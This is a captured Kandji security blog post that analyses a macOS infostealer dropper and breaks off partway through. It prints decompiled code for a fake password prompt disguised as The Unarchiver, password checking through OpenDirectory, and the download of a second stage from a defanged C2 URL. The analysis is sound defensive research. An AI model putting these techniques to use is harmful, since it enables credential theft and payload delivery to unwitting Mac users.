www.kandji.io Open in urlscan Pro
2a05:d014:275:cb00::c8  Public Scan

URL: https://www.kandji.io/blog/infostealer-swiftui-opendirectory-api-capture-verify-passwords
Submission: On August 12 via api from IT — Scanned from IT

Form analysis 2 forms found in the DOM

/blog/search

<form action="/blog/search" class="relative">
  <input type="text" class="" name="term" autocomplete="off" aria-label="Search" value="" placeholder="Type your search request">
  <button aria-label="Search" class="absolute right-0 top-0 h-full w-11 transition duration-200 ease-in-out opacity-50 hover:opacity-100">
    <span aria-hidden="true" class="inline-flex items-center justify-center w-11 h-full">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 256" class="h-6 w-6">
        <rect width="256" height="256" fill="none"></rect>
        <circle cx="116" cy="116" r="84" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="16"></circle>
        <line x1="175.4" y1="175.4" x2="224" y2="224" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="16"></line>
      </svg>
    </span>
  </button>
</form>

POST https://forms.hsforms.com/submissions/v3/public/submit/formsnext/multipart/5058330/21f774d6-4c0b-4c25-b47a-35023464393a

<form id="hsForm_21f774d6-4c0b-4c25-b47a-35023464393a_6778" method="POST" accept-charset="UTF-8" enctype="multipart/form-data" novalidate=""
  action="https://forms.hsforms.com/submissions/v3/public/submit/formsnext/multipart/5058330/21f774d6-4c0b-4c25-b47a-35023464393a"
  class="hs-form-private hsForm_21f774d6-4c0b-4c25-b47a-35023464393a hs-form-21f774d6-4c0b-4c25-b47a-35023464393a hs-form-21f774d6-4c0b-4c25-b47a-35023464393a_97d70ffb-f924-41c7-83c3-27c54f11b64e hs-form stacked hs-custom-form"
  target="target_iframe_21f774d6-4c0b-4c25-b47a-35023464393a_6778" data-instance-id="97d70ffb-f924-41c7-83c3-27c54f11b64e" data-form-id="21f774d6-4c0b-4c25-b47a-35023464393a" data-portal-id="5058330"
  data-test-id="hsForm_21f774d6-4c0b-4c25-b47a-35023464393a_6778">
  <div class="hs_email hs-email hs-fieldtype-text field hs-form-field"><label id="label-email-21f774d6-4c0b-4c25-b47a-35023464393a_6778" class="" placeholder="Enter your Email"
      for="email-21f774d6-4c0b-4c25-b47a-35023464393a_6778"><span>Email</span><span class="hs-form-required">*</span></label>
    <legend class="hs-field-desc" style="display: none;"></legend>
    <div class="input"><input id="email-21f774d6-4c0b-4c25-b47a-35023464393a_6778" name="email" required="" placeholder="Email" type="email" class="hs-input" inputmode="email" autocomplete="email" value=""></div>
  </div>
  <div class="hs_utm_campaign hs-utm_campaign hs-fieldtype-text field hs-form-field" style="display: none;"><label id="label-utm_campaign-21f774d6-4c0b-4c25-b47a-35023464393a_6778" class="" placeholder="Enter your utm_campaign"
      for="utm_campaign-21f774d6-4c0b-4c25-b47a-35023464393a_6778"><span>utm_campaign</span></label>
    <legend class="hs-field-desc" style="display: none;"></legend>
    <div class="input"><input name="utm_campaign" class="hs-input" type="hidden" value=""></div>
  </div>
  <div class="hs_utm_content hs-utm_content hs-fieldtype-text field hs-form-field" style="display: none;"><label id="label-utm_content-21f774d6-4c0b-4c25-b47a-35023464393a_6778" class="" placeholder="Enter your utm_content"
      for="utm_content-21f774d6-4c0b-4c25-b47a-35023464393a_6778"><span>utm_content</span></label>
    <legend class="hs-field-desc" style="display: none;"></legend>
    <div class="input"><input name="utm_content" class="hs-input" type="hidden" value=""></div>
  </div>
  <div class="hs_utm_medium hs-utm_medium hs-fieldtype-text field hs-form-field" style="display: none;"><label id="label-utm_medium-21f774d6-4c0b-4c25-b47a-35023464393a_6778" class="" placeholder="Enter your utm_medium"
      for="utm_medium-21f774d6-4c0b-4c25-b47a-35023464393a_6778"><span>utm_medium</span></label>
    <legend class="hs-field-desc" style="display: none;"></legend>
    <div class="input"><input name="utm_medium" class="hs-input" type="hidden" value=""></div>
  </div>
  <div class="hs_utm_source hs-utm_source hs-fieldtype-text field hs-form-field" style="display: none;"><label id="label-utm_source-21f774d6-4c0b-4c25-b47a-35023464393a_6778" class="" placeholder="Enter your utm_source"
      for="utm_source-21f774d6-4c0b-4c25-b47a-35023464393a_6778"><span>utm_source</span></label>
    <legend class="hs-field-desc" style="display: none;"></legend>
    <div class="input"><input name="utm_source" class="hs-input" type="hidden" value=""></div>
  </div>
  <div class="hs_utm_term hs-utm_term hs-fieldtype-text field hs-form-field" style="display: none;"><label id="label-utm_term-21f774d6-4c0b-4c25-b47a-35023464393a_6778" class="" placeholder="Enter your utm_term"
      for="utm_term-21f774d6-4c0b-4c25-b47a-35023464393a_6778"><span>utm_term</span></label>
    <legend class="hs-field-desc" style="display: none;"></legend>
    <div class="input"><input name="utm_term" class="hs-input" type="hidden" value=""></div>
  </div>
  <div class="hs_blog_kandji_blog_2_6850365017_subscription hs-blog_kandji_blog_2_6850365017_subscription hs-fieldtype-radio field hs-form-field" style="display: none;"><label
      id="label-blog_kandji_blog_2_6850365017_subscription-21f774d6-4c0b-4c25-b47a-35023464393a_6778" class="" placeholder="Enter your Kandji Blog Email Subscription"
      for="blog_kandji_blog_2_6850365017_subscription-21f774d6-4c0b-4c25-b47a-35023464393a_6778"><span>Kandji Blog Email Subscription</span></label>
    <legend class="hs-field-desc" style="display: none;"></legend>
    <div class="input"><input name="blog_kandji_blog_2_6850365017_subscription" class="hs-input" type="hidden" value="instant"></div>
  </div>
  <div class="hs_submit hs-submit">
    <div class="hs-field-desc" style="display: none;"></div>
    <div class="actions"><input type="submit" class="hs-button primary large" value="Subscribe"></div>
  </div><input name="hs_context" type="hidden"
    value="{&quot;embedAtTimestamp&quot;:&quot;1723469170138&quot;,&quot;formDefinitionUpdatedAt&quot;:&quot;1629373273571&quot;,&quot;notifyHubSpotOwner&quot;:&quot;true&quot;,&quot;userAgent&quot;:&quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36&quot;,&quot;pageTitle&quot;:&quot;InfoStealer Uses SwiftUI, OpenDirectory API to Capture Passwords&quot;,&quot;pageUrl&quot;:&quot;https://www.kandji.io/blog/infostealer-swiftui-opendirectory-api-capture-verify-passwords&quot;,&quot;pageId&quot;:&quot;175134870081&quot;,&quot;isHubSpotCmsGeneratedPage&quot;:true,&quot;canonicalUrl&quot;:&quot;https://www.kandji.io/blog/infostealer-swiftui-opendirectory-api-capture-verify-passwords&quot;,&quot;contentType&quot;:&quot;blog-post&quot;,&quot;hutk&quot;:&quot;fe8cd950be4eb03ea6fb57d683418074&quot;,&quot;__hsfp&quot;:872352201,&quot;__hssc&quot;:&quot;234561729.1.1723469173681&quot;,&quot;__hstc&quot;:&quot;234561729.fe8cd950be4eb03ea6fb57d683418074.1723469173681.1723469173681.1723469173681.1&quot;,&quot;formTarget&quot;:&quot;#hs_form_target_sidebar_subscribe_&quot;,&quot;formInstanceId&quot;:&quot;6778&quot;,&quot;rawInlineMessage&quot;:&quot;<p>Thanks for subscribing!</p>&quot;,&quot;hsFormKey&quot;:&quot;c771249285eabc2a1c61944be5a372e3&quot;,&quot;pageName&quot;:&quot;InfoStealer Uses SwiftUI, OpenDirectory API to Capture Passwords&quot;,&quot;rumScriptExecuteTime&quot;:2018.0999999940395,&quot;rumTotalRequestTime&quot;:3546.800000011921,&quot;rumTotalRenderTime&quot;:3969.300000011921,&quot;rumServiceResponseTime&quot;:1528.7000000178814,&quot;rumFormRenderTime&quot;:422.5,&quot;connectionType&quot;:&quot;4g&quot;,&quot;firstContentfulPaint&quot;:0,&quot;largestContentfulPaint&quot;:0,&quot;locale&quot;:&quot;en&quot;,&quot;timestamp&quot;:1723469173745,&quot;originalEmbedContext&quot;:{&quot;portalId&quot;:&quot;5058330&quot;,&quot;formId&quot;:&quot;21f774d6-4c0b-4c25-b47a-35023464393a&quot;,&quot;region&quot;:&quot;na1&quot;,&quot;target&quot;:&quot;#hs_form_target_sidebar_subscribe_&quot;,&quot;isBuilder&quot;:false,&quot;isTestPage&quot;:false,&quot;isPreview&quot;:false,&quot;formInstanceId&quot;:&quot;6778&quot;,&quot;formsBaseUrl&quot;:&quot;/_hcms/forms&quot;,&quot;css&quot;:&quot;&quot;,&quot;inlineMessage&quot;:&quot;<p>Thanks for subscribing!</p>&quot;,&quot;isMobileResponsive&quot;:true,&quot;rawInlineMessage&quot;:&quot;<p>Thanks for subscribing!</p>&quot;,&quot;hsFormKey&quot;:&quot;c771249285eabc2a1c61944be5a372e3&quot;,&quot;pageName&quot;:&quot;InfoStealer Uses SwiftUI, OpenDirectory API to Capture Passwords&quot;,&quot;pageId&quot;:&quot;175134870081&quot;,&quot;contentType&quot;:&quot;blog-post&quot;,&quot;formData&quot;:{&quot;cssClass&quot;:&quot;hs-form stacked hs-custom-form&quot;},&quot;isCMSModuleEmbed&quot;:true},&quot;correlationId&quot;:&quot;97d70ffb-f924-41c7-83c3-27c54f11b64e&quot;,&quot;renderedFieldsIds&quot;:[&quot;email&quot;,&quot;utm_campaign&quot;,&quot;utm_content&quot;,&quot;utm_medium&quot;,&quot;utm_source&quot;,&quot;utm_term&quot;,&quot;blog_kandji_blog_2_6850365017_subscription&quot;],&quot;captchaStatus&quot;:&quot;NOT_APPLICABLE&quot;,&quot;emailResubscribeStatus&quot;:&quot;NOT_APPLICABLE&quot;,&quot;isInsideCrossOriginFrame&quot;:false,&quot;source&quot;:&quot;forms-embed-1.5781&quot;,&quot;sourceName&quot;:&quot;forms-embed&quot;,&quot;sourceVersion&quot;:&quot;1.5781&quot;,&quot;sourceVersionMajor&quot;:&quot;1&quot;,&quot;sourceVersionMinor&quot;:&quot;5781&quot;,&quot;allPageIds&quot;:{&quot;embedContextPageId&quot;:&quot;175134870081&quot;,&quot;analyticsPageId&quot;:&quot;175134870081&quot;,&quot;contentPageId&quot;:175134870081,&quot;contentAnalyticsPageId&quot;:&quot;175134870081&quot;},&quot;_debug_embedLogLines&quot;:[{&quot;clientTimestamp&quot;:1723469170384,&quot;level&quot;:&quot;INFO&quot;,&quot;message&quot;:&quot;Retrieved customer callbacks used on embed context: [\&quot;getExtraMetaDataBeforeSubmit\&quot;]&quot;},{&quot;clientTimestamp&quot;:1723469170389,&quot;level&quot;:&quot;INFO&quot;,&quot;message&quot;:&quot;Retrieved pageContext values which may be overriden by the embed context: {\&quot;pageTitle\&quot;:\&quot;InfoStealer Uses SwiftUI, OpenDirectory API to Capture Passwords\&quot;,\&quot;pageUrl\&quot;:\&quot;https://www.kandji.io/blog/infostealer-swiftui-opendirectory-api-capture-verify-passwords\&quot;,\&quot;userAgent\&quot;:\&quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\&quot;,\&quot;pageId\&quot;:\&quot;175134870081\&quot;,\&quot;contentAnalyticsPageId\&quot;:\&quot;175134870081\&quot;,\&quot;contentPageId\&quot;:175134870081,\&quot;isHubSpotCmsGeneratedPage\&quot;:true}&quot;},{&quot;clientTimestamp&quot;:1723469170391,&quot;level&quot;:&quot;INFO&quot;,&quot;message&quot;:&quot;Retrieved countryCode property from normalized embed definition response: \&quot;DE\&quot;&quot;},{&quot;clientTimestamp&quot;:1723469173735,&quot;level&quot;:&quot;INFO&quot;,&quot;message&quot;:&quot;Retrieved analytics values from API response which may be overriden by the embed context: {\&quot;hutk\&quot;:\&quot;fe8cd950be4eb03ea6fb57d683418074\&quot;,\&quot;canonicalUrl\&quot;:\&quot;https://www.kandji.io/blog/infostealer-swiftui-opendirectory-api-capture-verify-passwords\&quot;,\&quot;contentType\&quot;:\&quot;blog-post\&quot;,\&quot;pageId\&quot;:\&quot;175134870081\&quot;}&quot;}]}"><iframe
    name="target_iframe_21f774d6-4c0b-4c25-b47a-35023464393a_6778" style="display: none;"></iframe>
</form>

Text Content

___

Skip to content
Book a Demo Request Pricing Virtual Tour
Kandji logo
Open main menu
Kandji
Close menu
Product
Solutions

Apple Device Management

Endpoint Detection & Response

By Device

Mac Device Management

iOS Device Management

Features

Liftoff

Prism

Migration

Auto Apps

Passport

Compliance

Assignment Maps

Managed OS

Use Cases

Zero-Touch Deployment

Security Configurations

Software Management

Integrate with Kandji

Resources

Resources Hub

Kandji Blog

Customer Stories

Mac Admins Community

Security Details

MDM Comparison Guide

Customers

Customer Support

Product Updates

Customer Login

Kandji Status

Partners

Register a Deal

Resellers

Become a Partner

Technology Partners

Partner Portal

Company

About Kandji

News & Press

Careers

Contact

Why Kandji?

Pricing
Virtual Tour Get Started
Get Started
Kandji logo
Product



SOLUTIONS

Apple Device Management

Advanced MDM solution for Apple devices

Endpoint Detection & Response

Extensive threat detection and response for Mac


BY DEVICE

Mac Device Management

Frictionless macOS management software

iOS Device Management

Automated iPhone and iPad device management


FEATURES

Liftoff

User onboarding

Prism

Pre-built device reports

Migration

MDM migration

Auto Apps

App management

Passport

Synced passwords for Mac

Compliance

Security control templates

Assignment Maps

Configuration management

Managed OS

Automated OS updates


USE CASES

Zero-Touch Deployment

Security Configurations

Software Management

Integrate with Kandji


GET A DEMO

Discover the power of Kandji with a personalized demo and 14-day trial.

Get Started
Book a Demo Request Pricing Virtual Tour
Pricing
Resources



BLOG

InfoStealer Uses SwiftUI, OpenDirectory API to Capture Passwords

On July 29, @4n6Bexaminer tweeted about a new macOS stealer. Moments later,
Hunt.io tweeted about the same new malware and then released a blog post about
it on July 30. That post focused primarily on the malicious bash scripts that
were downloaded from the command-and-control (C2) server and then executed as
the second stage.

Update Only Mode for Auto Apps: A New Way to Patch Mac Software

Kandji’s Auto Apps let IT teams distribute Mac software titles—nearly 200 and
counting—either by deploying them automatically to endpoints or by letting users
install them as they wish via Kandji’s Self Service. We’re now adding another
option: Update Only.

Apple Intelligence: What Mac Admins Need to Know

One of Apple’s biggest announcements at this year’s WWDC was about the upcoming
release of what the company calls Apple Intelligence. But, this being Apple, it
wasn’t just a jumping-on-the-bandwagon announcement about AI. Rather, it’s about
the very Apple approach the company is taking to artificial intelligence, one
that puts user benefits and protections first.


KANDJI RESOURCES

Resources Hub

Kandji Blog

Customer Stories

Mac Admins Community

Security Details

MDM Comparison Guide


CUSTOMER STORIES

”

We chose Kandji for their security solution to efficiently manage a fleet of
Apple MacBooks. We were able to quickly and significantly increase our security
posture with minimal resources.

Martin G.

Staff Dev-ops Engineer, Wisely

This tool was clearly designed from a Mac admin's point of view.

Nicholas Mercurio

Manager, IT & Security Operations, Fluent

We're saving time managing our Apple fleet with Kandji's built-in automations.

Wilson Ho

Director of IT, Turo

Read Customer Stories
Book a Demo Request Pricing Virtual Tour
Customers



CUSTOMERS

Customer Support

Visit the Knowledge Base to access help documentation

Product Updates

Latest feature releases and product updates

Customer Login

Existing customers: Sign in to access Kandji

Kandji Status

Stay updated on Kandji system status


CUSTOMER SPOTLIGHT


75%

reduction in Mac-related support tickets


50

hours a month saved on routine maintenance

View Case Study
Book a Demo Request Pricing Virtual Tour
Partners



PARTNERS

Resellers

Explore a partnership program with Kandji

Become a Partner

Apply to join the Kandji Partner Program

Technology Partners

Check out Kandji’s integrations & API

Partner Portal

Log in to access Kandji Partner Academy


REGISTER A PARTNER DEAL

Register a partner opportunity with Kandji for deals where we can collaborate.

Register a Deal
Book a Demo Request Pricing Virtual Tour
Company



COMPANY

About Kandji

Learn more about Kandji, the modern MDM for Apple

News & Press

Read the latest news in Apple enterprise management

Careers

Browse open job opportunities at Kandji

Contact

Get in touch with the Kandji team


WHY KANDJI?

Kandji's focus on automation sets it apart from any other MDM solution on the
market.

Learn More
Book a Demo Request Pricing Virtual Tour
Log in Get Started
Blog Threat Intelligence InfoSteale...


INFOSTEALER USES SWIFTUI, OPENDIRECTORY API TO CAPTURE PASSWORDS

Christopher Lopez
Christopher Lopez Aug 8, 2024
Senior macOS Security Researcher
21 min read

On July 29, @4n6Bexaminer tweeted about a new macOS stealer. Moments later,
Hunt.io tweeted about the same new malware and then released a blog post about
it on July 30. That post focused primarily on the malicious bash scripts that
were downloaded from the command-and-control (C2) server and then executed as
the second stage.

We wanted to take a close look at the first stage—specifically at the stealer’s
dropper, which is written in Swift and leverages APIs not seen in other recent
stealers to capture and verify the user’s password. Many detection methods focus
on OSAscript; this malware takes a different approach to evade detection. 


LINK TO THIS SECTION PASSWORD PROMPT


LINK TO THIS SECTION SUB_1000061F8

We will start with the lock image seen in the prompt.



The lock image is initialized using the Image.init(_:bundle:) call. The
resizable method is then passed, which returns a pointer to the Image view.

10000642c    int64_t Image = Image.init(_:bundle:)('lock', 0xe400000000000000, 0)
<...>
100006468    int64_t resizeView = Image.resizable(capInsets:resizingMode:)(x22, Image, v0, v1, v2, v3)

The prompt text is created using StringInterpolation and a function (which I
renamed getNameOfApp()) that queries for the name of the application. 

10000658c    LocalizedStringKey.Strin...(literalCapacity:interpolationCount:)(0x43, 1)
1000065ac    // A user password must be entered to allow the "
1000065ac    LocalizedStringKey.StringInterpolation.appendLiteral(_:)(-0x2fffffffffffffd2, -0x7ffffffeffff52d0)
1000065b0    int64_t AppName_3 = getNameOfApp()
1000065b8    LocalizedStringKey.StringInterpolation.appendInterpolation(_:)()
1000065c0    _swift_bridgeObjectRelease(AppName_3)
1000065dc    // " application to run.
1000065dc    LocalizedStringKey.StringInterpolation.appendLiteral(_:)(-0x2fffffffffffffeb, -0x7ffffffeffff52a0)
1000065e4    LocalizedStringKey.init(stringInterpolation:)(x20)


LINK TO THIS SECTION GETNAMEOFAPP()

This function uses the [NSBundle mainBundle] object to query for the
CFBundleDisplayName inside the Info.plist of the application bundle. The binary
that executes within this app bundle is called CryptoTrade, but the prompt
displays the name The Unarchiver, since that’s the value set for the
CFBundleDisplayName. 

Below is a portion of the Info.plist file in the application bundle that shows
the value for the CFBundleDisplayName key. 

{
"BuildMachineOSBuild" => "23F79"
    "CFBundleDevelopmentRegion" => "en"
    "CFBundleDisplayName" => "The Unarchiver"
    "CFBundleExecutable" => "CryptoTrade"
    "CFBundleIconFile" => "AppIcon"
    "CFBundleIconName" => "AppIcon"
    "CFBundleIdentifier" => "Team-Apps.TheUnarchiver"
    "CFBundleInfoDictionaryVersion" => "6.0"
    "CFBundleName" => "CryptoTrade"
<...>

Because this function dynamically loads the name, this prompt can be used by
other applications with a different CFBundleDisplayName and masquerade as other
legitimate applications. 

Once the name is pulled from the Info.plist file, a Text view is created using
StringInterpolation, which allows strings to be combined dynamically: "A user
password must be entered to allow the [AppName] application to run."

100006800    password, x1_13, x2_8, x3_4, v0_6 = LocalizedStringKey.init(stringLiteral:)('Password', 0xe800000000000000)

The default value in the password TextField is initialized as a
LocalizedStringKey with the value Password, to persuade the victim to enter
their password. 

See Kandji in Action

Experience Apple device management and security that actually gives you back
your time.

Get Started Contact Us

10000686c    SecureField<>.init(_:text:onCommit:)(nop, nop)
10000687c    RoundedBorderTextFieldStyle.init()()
1000068e4    View.textFieldStyle<A>(_:)(x8_10, x0_2, x0_1, sub_1000099ac(&data_100010e68, &data_100010e48, protocol conformance descriptor for SecureField<A>), sub_1000096d8(&data_100010e70, type metadata accessor for RoundedBorderTextFieldStyle, protocol conformance descriptor for RoundedBorderTextFieldStyle))

The malware authors used a SecureField view, which conforms to the TextField
protocol, to hide the password as the victim enters it, as they would for a
legitimate application. 

After the text is set up, there's a branch (which I’ve renamed buttonSetups())
to set up the buttons in the prompt.

1000069a8    buttonSetups(arg1, x8_4 + sx.q(*(getTypeByMangledNameInContext2(&data_100010e78) + 0x2c)))


LINK TO THIS SECTION BUTTONSETUPS()

The first button seen in the prompt is for the Cancel button. Below is the
disassembly for the Button.init method that accepts a function,
TerminateAppAction, to run when the user clicks it. 

100007018    60288cd2   mov     x0, #0x6143
10000701c    c06dacf2   movk    x0, #0x636e, lsl #0x10
100007020    a08ccdf2   movk    x0, #0x6c65, lsl #0x20  {'Cancel'}
100007024    01c0fcd2   mov     x1, #0xe600000000000000
100007028    dd0a0094   bl      LocalizedStringKey.init(stringLiteral:)
10000702c    42000012   and     w2, w2, #0x1
100007030    04000090   adrp    x4, 0x100007000
100007034    84e00991   add     x4, x4, #0x278  {TerminateAppAction}
100007038    e80314aa   mov     x8, x20
10000703c    050080d2   mov     x5, #0
100007040    280b0094   bl      Button<>.init(_:action:)

The Button.init method uses the small Swift string Cancel. It is passed a
closure (which we’ve renamed TerminateAppAction), which loads the NSApp
sharedAppInstance and calls the terminate method. This results in the
application terminating if the user clicks the Cancel button in the prompt. 

100007294    return _objc_msgSend(self: sharedAppInstance, cmd: "terminate:") __tailcall 
Button<>.init(_:action:)(unicodeChars, sizeOfUnicodeChars, zx.q(x2_3 & 1), x3, passwordCheck, swiftArray)


LINK TO THIS SECTION PASSWORD CHECK

The second OK button is then initialized. Inside of the Button.init method, a
closure is passed that we’ve renamed passwordCheck:

10000926c    int64_t passwordCheck(void* arg1 @ x20)
100009270    return buttonAction(arg1 + 0x10) __tailcall


LINK TO THIS SECTION BUTTONACTION()

This function then returns another function (renamed buttonAction) that
continues the setup. Inside this buttonAction function, there’s
password-checking behavior; completion of that triggers the download of
malicious scripts.  

To understand where the password that was passed to SecureField lives at this
point in the execution, we need to introduce the Swift property wrapper called
State. State is used to read and write a value by SwiftUI. The password is tied
to this @State property wrapper. We can see evidence of this prior to the
passwordChecker() function call, in the name of State.wrappedValue.getter().
This is a getter method for the value wrapped to State. 

1000072f8    State.wrappedValue.getter()
100007304    int64_t sizeOfPassword
100007304    int64_t password
100007304    int32_t IsPasswordCorrect = passwordChecker(sizeOfPassword, password)


LINK TO THIS SECTION PASSWORDCHECKER()

Now we branch to a function I named passwordChecker. It returns a Boolean value,
which is checked to either request the password again or continue. 

The passwordChecker() function leverages Objective-C Open Directory APIs. (Open
Directory is Apple’s version of the Lightweight Directory Access Protocol,
LDAP.  Every macOS system has an Open Directory database that contains important
information about users and groups, including permissions to resources.) Let’s
walk through the setup. 

1000082bc    int64_t passwordChecker(int64_t sizeOfPassword, int64_t password)
10000830c    id defaultOD = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: _objc_opt_self(obj: _OBJC_CLASS_$_ODSession), cmd: "defaultSession"))
10000831c    void* ODNode = _objc_allocWithZone(_OBJC_CLASS_$_ODNode)
100008328    id defaultODRetained = _objc_retain(obj: defaultOD)
100008340    void* localNode = OpenDirectorySetup(defaultOD, kODNodeTypeLocalNodes: 0x2200, ODNode)
100008390    id localNode_1 = localNode

The ODSession object is loaded and passed the defaultSession method to create a
session object. An ODNode object is then also loaded. Finally, these two objects
are passed to another function, which I renamed OpenDirectorySetup. 


LINK TO THIS SECTION OPENDIRECTORYSETUP()

Inside this function, the Open Directory objects are used to initialize a new OD
session of type Local. 

100007834    void* OpenDirectorySetup(int64_t defaultOD, int64_t kODNodeTypeLocalNodes, void* ODNode @ x20)
100007840    void* ODNode_1 = ODNode
100007860    int64_t x8 = *___stack_chk_guard
100007880    int64_t x4
100007880    void* LocalNode = _objc_msgSend(self: ODNode, cmd: "initWithSession:type:error:", defaultOD, kODNodeTypeLocalNodes, x4)    

This function accepts three arguments: the default Open Directory object, the
ODNode object, and the value 0x2200 which is passed into a method as the value
kODNodeTypeLocalNodes; this is the node for the local directory of the macOS
system. 

Inside this function, the ODNode object is used to call the
initWithSession:type:error: method, which creates a node object with a specified
session and type. This node object is then checked by the caller for errors. If
a localNode was successfully created it continues to build a record.

100008394    else
1000083a0        id currentUser = _objc_retainAutoreleasedReturnValue(obj: _NSUserName()
1000083a4        id currentUser_1 = currentUser
1000083a4          
<...>
1000083d0        id _kODRecordTypeUsers = _objc_retain(obj: *_kODRecordTypeUsers)
<...>
10000841c        id ODRecord = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: localNode_1, cmd: "recordWithRecordType:name:attributes:error:", _kODRecordTypeUsers, currentUser_1, NSArray, x5_1))

Executing the NSUserName() function queries the current user. The
_kODRecordTypeUsers global variable is then used as a record type and passed to
the recordWithRecordType:name:attributes:error: method. This returns an Open
Directory record. 

After some error handling, the OD record is then passed the verifyPassword:error
method, along with the password which is converted to an NSString that would be
submitted by the victim. 

100008440    else
100008448        _objc_retain(obj: obj_3)
100008454        int64_t passwordObject = String._bridgeToObjectiveC()(sizeOfPassword, password)
10000845c        null = nullptr
100008474        int32_t passWordVerify = _objc_msgSend(self: ODRecord, cmd: "verifyPassword:error:", passwordObject, &null)

This verifyPassword:error: method checks the captured password against the
ODRecord for the /Local/Default dsAttrTypeStandard:AppleMetaNodeLocation.
/Local/Default is the default directory database of the local computer. The
password will be checked against this record, which would be the same password
as the administrator and will return a 1 for true if successful. 

The Open Directory Record appears to be used for password verification. In arm64
for Objective-C, X0 is used for the class object, X1 is used for the selector
(method passed to the object), and X2 would be the first argument. objc_msgSend
is then called to handle the message-passing, and the result is returned in X0. 

Using the values seen in the registers above, we can visualize how the
Objective-C would look:

[ODRecord verifyPassword: passwordCaptured error:&error]


LINK TO THIS SECTION RETURN TO BUTTONACTION()

After the password verification is complete, code execution returns to the
buttonAction() function to handle the result of the password checker. 

If the password check returns false—indicating that it is not the correct
password—then a branch to animate a shake for the prompt (which I named
promptWiggle()) will occur. 

100007314    if ((IsPasswordCorrect & 1) == 0)
10000738c        promptWiggle()

If the password is correct, the execution continues, and the sharedAppInstance
is queried using the NSApp() function.

100007314    else
100007320        void* sharedAppInstance = *_NSApp
100007320          
100007324        if (sharedAppInstance == 0)
1000073ac            trap(1)
1000073ac          
100007338            id mainWindow = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: sharedAppInstance, cmd: "keyWindow"))
100007348            _objc_msgSend(self: mainWindow, cmd: "close")

The keyWindow object for the app is then passed to the close method which would
close the main app window. 


LINK TO THIS SECTION SUB_100008670: C2 DOWNLOAD SETUP

This then leads to the download preparation for the bash scripts. 

10000875c      // hxxps[:]//cryptomac.dev/download/grabber[.]zip
10000875c      URL.init(string:)(0xd00000000000002a, 0x800000010000ad80)

The C2 server is first seen being initialized as a URL type. Swift strings are
structs, and this is an example of a large Swift string object, since the bridge
object begins with 0xd and contains the size of the string at the least
significant bits of the object: 0x2a. 

{
0xd00000000000002a - Bridge Object
0x800000010000ad80 - Pointer to string before nibble added
}

The address of the string is at 0x10000ad80 + 0x20, to account for the nibble.
We can use Binary Ninja to add the 0x20 nibble to the address of the string and
see the URL for the C2 using the binary view (bv) object and read method:

>>> bv.read(0x10000ad80+0x20, 0x2a)
b'hxxps[:]//cryptomac.dev/download/grabber[.]zip'

1000087ac    id defaultMan = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: _objc_opt_self(obj: _OBJC_CLASS_$_NSFileManager), cmd: "defaultManager"))
1000087bc    int64_t x25_1 = 1
1000087d0    id _~/Library/ = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: defaultMan, cmd: "URLsForDirectory:inDomains:", 5, 1))
1000087dc    _objc_release(obj: defaultMan)
1000087e8    void* swiftArray = static Array._unconditionallyBridgeFromObjectiveC(_:)(_~/Library/, x0_1)

The defaultManager object is created and passed the URLsForDirectory:inDomains:
method: [defaultManager URLsForDirectory:5 inDomains:1]. This returns an NSArray
for the ~/Library path. This NSArray is then passed to the
Array._unconditionallyBridgeFromObjectiveC function to be converted to a Swift
array. 

The URL path is then appended with the small Swift string grabber to set up the
directory that will be used later. 

100008874      URL.appendingPathComponent(_:)('grabber', 0xe700000000000000)

 


LINK TO THIS SECTION DOWNLOADFILE()

After this setup, we branch to a function to download the zip file from the C2: 

100008898      downloadFile(url, x23, sizeOfPassword, password)

This function (which we renamed) handles the download of the zip file from the
C2.

100008584      id urlSession = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: _objc_opt_self(obj: _OBJC_CLASS_$_NSURLSession), cmd: "sharedSession"))
10000858c      int64_t url = URL._bridgeToObjectiveC()()
1000085a4      void* swiftArray = _swift_allocObject(&data_10000c7c8, 0x20, 7)
1000085a8      *(swiftArray + 0x10) = sizeOfPassword
1000085a8      *(swiftArray + 0x18) = password
1000085b4      int64_t (* var_50)(int64_t arg1, int64_t arg2, int64_t arg3, void* arg4 @ x20) = branchToHandleDownload
1000085c0      int64_t (* const aBlock)() = __NSConcreteStackBlock
1000085cc      int64_t var_68 = 0x42000000
1000085e0      int64_t (* var_60)(void* arg1, int64_t arg2, id arg3, id arg4) = sub_100005ea8
1000085e0      void* const var_58 = &data_10000c7e0
1000085e8      void* aBlock_1 = __Block_copy(&aBlock)
1000085f8      _swift_bridgeObjectRetain(password)
100008600      _swift_release(swiftArray)
100008620      id obj = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: urlSession, cmd: "downloadTaskWithURL:completionHandler:", url, aBlock_1))

An NSURL session object is created, and the URL that was passed in is bridged to
an NSURL. A block is set up that will be passed to the
downloadTaskWithURL:completionHandler: method. This block (which we renamed
branchToHandleDownload) sets up an NSTask object to handle the file that is
downloaded. 


LINK TO THIS SECTION BRANCHTOHANDLEDOWNLOAD()

A block was passed to the completionHandler argument for the download task
method. This block will execute after the download task is completed.

1000096b8    int64_t branchToHandleDownload(int64_t arg1, int64_t arg2, int64_t arg3, void* arg4 @ x20)
1000096bc    return NSTask_setup(arg1, arg2, arg3, *(arg4 + 0x10), *(arg4 + 0x18)) __tailcall

This function returns a function (which we renamed NSTask_setup). 


LINK TO THIS SECTION NSTASK_SETUP()

Inside this block, we have the setup for an NSTask, which will spawn a child
process to execute code to manage things after the download is completed.

Using the NSFileManager class, a check for the grabber directory is completed.
If the directory does not exist, it is created using the
createDirectoryAtURL:withIntermediateDirectories:attributes:error: method. 

1000059e0    int32_t DoesDirectoryExist = _objc_msgSend(self: defMan, cmd: "fileExistsAtPath:", NSUrl: ~/Library/grabber)
1000059ec    _objc_release(obj: NSUrl: ~/Library/grabber)
1000059ec      
